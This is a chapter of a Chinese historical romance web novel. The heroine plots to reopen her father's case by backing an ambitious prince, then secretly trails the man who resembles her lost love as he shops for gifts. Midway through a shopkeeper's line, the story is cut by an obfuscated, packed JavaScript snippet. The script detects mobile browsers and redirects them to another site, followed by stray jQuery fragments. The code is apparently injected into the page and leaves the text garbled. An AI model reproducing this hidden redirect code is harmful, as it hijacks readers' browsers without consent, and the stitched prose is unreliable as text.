三日后,大理寺在全京城贴出告示,明确贾和所犯罪行,包括谋害命官上任御史之位、朝廷官员参与经商、拐卖妇女、奸污未成、杀人毁尸五大罪行。
全城百姓顿时沸然,毕竟贾和官声素好,又时常救济难民,除却难以置信,更多的是气愤不平。
贾和之案传播甚广,他由从前那个爱民如子的百姓官变为人人唾骂的恶人,从前被他欺压不敢直言的百姓纷纷到大理寺状告贾和,吐露他曾经犯下的恶事。
唐熙宁也趁机营造声势,想让贾和以前办过的案子、参过的人都变得毫无说服力,从而趁机重启往日案件,调查她父亲冤案,为她父亲平反。
只是这件事极为难办,声势虽然造了出去,可牵扯甚广,迟迟不能重启案情。
她父亲当时被定下三大罪名:一是贪污之罪,由冀、衮、青三州刺史联合上书;二是谋逆之罪,由御史台贾和查出造假兵符;三是叛国之罪,由韩征峰老将查出与敌国将帅的往来书信。
既然她父亲是清白的,那么御史台查出造假兵符谋逆之事就是策划的。贾和又与左相牵连,那么上述参她父亲的几人想必也不会有多清白。
只是左相怎么有能力诬陷堂堂亲王,要说其中没有高位授意,唐熙宁是万万不信的。
她下一步要调查韩征锋,以及冀、衮、青三州刺史,紧接着便是拉下左相,然后就是皇上。
唐熙宁明白只有掌握权力才拥有话语权,她的祖父是先帝,她的祖母是先后,她父亲是堂堂亲王,她也姓唐,她流的也是唐家的血,她也要闯出一片天来。
可女子不能入朝为官,掌权更是前所未有,恐怕只能暂且女扮男装搅弄风云,真正掌握权力后再透露真实身份。
如今朝中局势虽不怎么明朗,可也不难看出,最主要的两个派别,分别是太子派和保皇派,还有势力微弱可以忽略的中立派。
皇帝年迈,但还未到完全昏聩的地步,任何掌过权的人要放权是极为困难的,皇帝亦是如此。
兵部尚书因为隐瞒造假兵符不报已然处死,皇帝近些日子一直整改兵部,想将兵部削去,可见他要求对权力的绝对掌控。
只要太子想拥有权力,他们便有了嫌隙,虽不明显但如若刻意放大,那这个问题是很致命的。
唐熙宁要做的便是扶持新势力,扶持一个新皇子。皇帝为达权力的绝对掌控,一定会帮助那位皇子,与太子达成权力平衡。
届时她再借助新势力进入朝堂拉下左相。
至于扶持谁,唐熙宁心中已有定论。皇帝膝下四子五女,除却太子之外,还有三位皇子。
太子乃嫡长子,十六岁便登上太子之位,如今已然做了十五年太子。他处理政务娴熟很少出错,为人和善仁慈,却极有手段,故而其他皇子从不敢肖像夺嫡。
唯有晟王殿下自视甚高,向来与太子不对付。晟王其人嚣张跋扈,私下更是渴望权力,若能勾起他的野心,扶持他成为朝中新势力,便可借机进入朝堂。
唐熙宁向来雷厉风行,打定主意后便立刻执行。
她做了五个锦囊,准备每日在晟王府前悄悄放下一个,这事需要十足耐心,更要吊着人的胃口,人都是欲壑难填,胃口越大贪心越重,越容易上钩。
唐熙宁每日易容后,便去晟王府前扔锦囊。
第一日,她并未现身,而是趁守卫交班时将锦囊放下。晟王回府时守卫曾亲手交给他,只是他向来目空一切,自是不可能将这种小玩意放心上,看也不看就直接扔了。
第二日,她依旧将锦囊放下,在暗处悄悄观察,晟王依旧没打开锦囊,而是让全府戒严,守卫交班时再无时间嫌隙。
第三日,晟王府守卫森严,唐熙宁不可能主动献身让人拿住,她将锦囊塞进给晟王府送菜的伙计那,送菜搜查时果然被守卫查出。守卫依旧将锦囊交给晟王,这次晟王并未扔掉,而是让守卫将前两日扔掉的锦囊捡回,他独自回府查看。
第四日,唐熙宁将锦囊混进给晟王府送马的小马倌处,一连四日,倒是足够引起晟王的好奇心。此次她并未在暗中观察,她对晟王颇为了解,他定会让暗卫在晟王府周围观察行踪可疑之人,被提前抓到可就没趣了。
唐熙宁这日送完锦囊便悄然离开,前几日送完锦囊还要观察晟王,颇为耗费心力,她想着放松放松便去往东市。
她如今是男子装束,去哪都不拘束。
她对李怀霄为她挡箭受伤之事颇为过意不去,便想着买些礼品聊表心意。
也正是此次保护,唐熙宁更觉李怀霄与多年前离她而去的阿衡颇为相似,心中便生出许多从前未有的贪念来。
她身处敌国时,虎狼环伺危险重重,在她一无所有时,阿衡还不离不弃,每每护她周全。
二人同甘共苦共经患难,一路走来的情分是永不会被磨灭的,虽然后来阿衡不辞而别杳无音信,唐熙宁也从未怨过他。过往种种深深刻在她脑中,纵使想忘也忘不掉。
李怀霄的温柔体贴与阿衡如出一辙,一些小习惯和言行举止也与阿衡极为相似。
如今有一与阿衡相似的男子在,唐熙宁先想到的是远离,她不想留一个假的虚影在身边。
可贪念从心底滋生,相思入骨的爱恋疯狂叫嚣,她竟生出想留李怀霄在身边的荒诞之念。即便知道李怀霄不过是镜花水月,她仍想留下这个替身。
哪怕是假的,也能诉说她未能宣之于口的绵绵情意。唐熙宁知道这一切不过是她的执念与贪念,可她抵挡不住。
她就是想离阿衡近一些。
她就是想偶尔欺骗放纵自己一下。
她想送份谢礼,可思来想去却不知送什么,她对李怀霄了解太少,竟完全不知他的喜好,也不知他缺什么,只能漫无目的地游走在东市。
东市繁华,卖什么的都有,更有贩卖草原牧族稀少物件和其他外邦之物的店铺。
唐熙宁在街上逛来逛去,眼前划过无数店铺,只是走一间逛一间,挑挑选选始终未定。
说来也巧,她走着走着只瞧见人群中有位长身玉立的高大公子,虽是背影她还是认了出来,正是李怀霄。
他今日未穿官服,而是穿着身月白华服,墨发以玉冠高高束起,衣袂翻飞间增添了几分雅致。他骨节分明的大手把玩着一柄折扇,又显得极为风流俊逸。
唐熙宁不知他来东市作何,心里有些好奇,便偷偷跟在他身后,始终保持着二十几步的距离,既不会被轻易发现,又方便隐于人群之中。
最终唐熙宁跟着他到了一家有名的胭脂铺,她一时好奇便跟着进去,甫一进入便有位姑娘迎上前来热情介绍:
“公子是为意中人选胭脂的吧,咱们烟绯铺可是全京城最大的胭脂铺,铺里应有尽有,有景国最流行的胭脂,也有从草原牧族及其他各国进来的流行胭脂,保管让公子满意。”
唐熙宁是跟着李怀霄进来的,并不是要买胭脂,故而想打发她离开,小姑娘瞧着不过及笄之年,察言观色的本事略差些。
她见面前的俊美公子一脸为难,想当然以为男子不懂胭脂,便拉着唐熙宁到台前:“想来公子对胭脂等女子用品不甚了解,不如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038037|194665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
您同我讲讲您意中人往常用的胭脂颜色,我从店里挑些合适的让公子选?”
唐熙宁见她如此热情倒不好拒绝,刚想随便报个胭脂颜色让她去寻,谁知短短一会李怀霄便挑好胭脂并让伙计打包好离开了。
她直觉李怀霄买胭脂是为送她,可非年非节,他送胭脂做什么?
要说他是送给旁人的也说不通,毕竟他平日鲜少与女子接触,想来也不认识除她以外的女子。
唐熙宁见他离开,便匆忙选盒胭脂付下银钱离去,见李怀霄去了其他店铺,她便在外佯装买东西并未跟进去,跟的太紧反而会让人生疑。
她小心跟着,一路见他去了胭脂铺、点心铺、衣裳铺……最后去的是首饰铺。
唐熙宁已经确定李怀霄买这些东西是为送她,虽不明白为何送,但好歹是送她的东西,她总得把把关,她可不敢相信男子眼光,便跟着去首饰铺。
掌柜迎上去要给李怀霄介绍,他却急忙打断,言语简练又透着冷意:“不必麻烦,在下自己看便是。”
“是,那公子先看着,不扰您雅兴。”掌柜说着便退到一旁。
唐熙宁见惯了李怀霄在她面前的温柔模样,眼下见他对旁人如此清冷,还颇有些不适应。
首饰铺首饰极多,种类、形状、质地都不同,就拿簪子来说,铺里就放了整整四张柜子,按簪子质地分别放置,有木质、玉质、银质、金质,柜子里的簪子形状也大为不同。
李怀霄挑了许久,也未选中心仪之物。
反正唐熙宁易容过,她的易容术天地间唯有她师父能看出,便放心走到李怀霄身边打量。
看他实在琢磨不定,就变换男声主动搭话:“小弟见兄台思索良久,想来难以抉择,应是为娘子挑选的吧。”
李怀霄淡淡瞥她一眼便收回视线,他不动声色后退一步,和她保持距离,神情疏离又淡漠:“是,你有事吗?”
往日李怀霄对她极尽温声细语,骤然听到他这么冰冷的话语,唐熙宁还真难以适应,不过这也恰恰证明了她易容术的高明之处。
她顺着李怀霄视线看到一根梅花玉簪,簪子是上好和田玉,做工精致典雅极为好看,她拿起簪子仔细打量:“兄台身上沾染梅香,想必颇为爱梅,不如选这支梅花玉簪给娘子。”
李怀霄并未细看,懒懒瞥上一眼便厉声拒绝:“我是为娘子挑选,自然要选她心爱之物。我虽喜梅花,可也不能将自己所爱之物强加在她身上。”
唐熙宁倒是没想到他能说出这番话,她微微挑眉:“可你怎知她就不喜梅花呢?”
闻言李怀霄沉默片刻,他眉头轻拧似在思索此问,良久才轻叹出声:“说来我这夫君当的不够格,成亲多日竟不知妻子喜好,所以看了许久也挑不出合适簪子。”
李怀霄神情苦恼,唐熙宁不由心中发笑:其实我也不知你喜好,想送你谢礼都不知送什么好。
她忽然心起一计试探开口:“敢问兄台喜好何物?”
李怀霄眉头微锁,他偏头盯着唐熙宁,漆黑眼眸闪过寒光:“你问这做甚?”
他言语冰冷,浑身透着寒意,唐熙宁生怕被他察觉,忙低头拱手致歉掩饰:“小弟一时好奇,怎料触及兄台隐私,实属失礼。”
好在李怀霄盯着她瞧了会,没看出什么便移开视线。
唐熙宁连忙跑路,离开首饰铺才觉那股压迫感消失,她拍着胸脯长舒口气:“这李怀霄平日在我面前柔声细语的,原来在外人面前这么骇人。”
“不知他会买什么簪子?回府后又以什么名义给我。”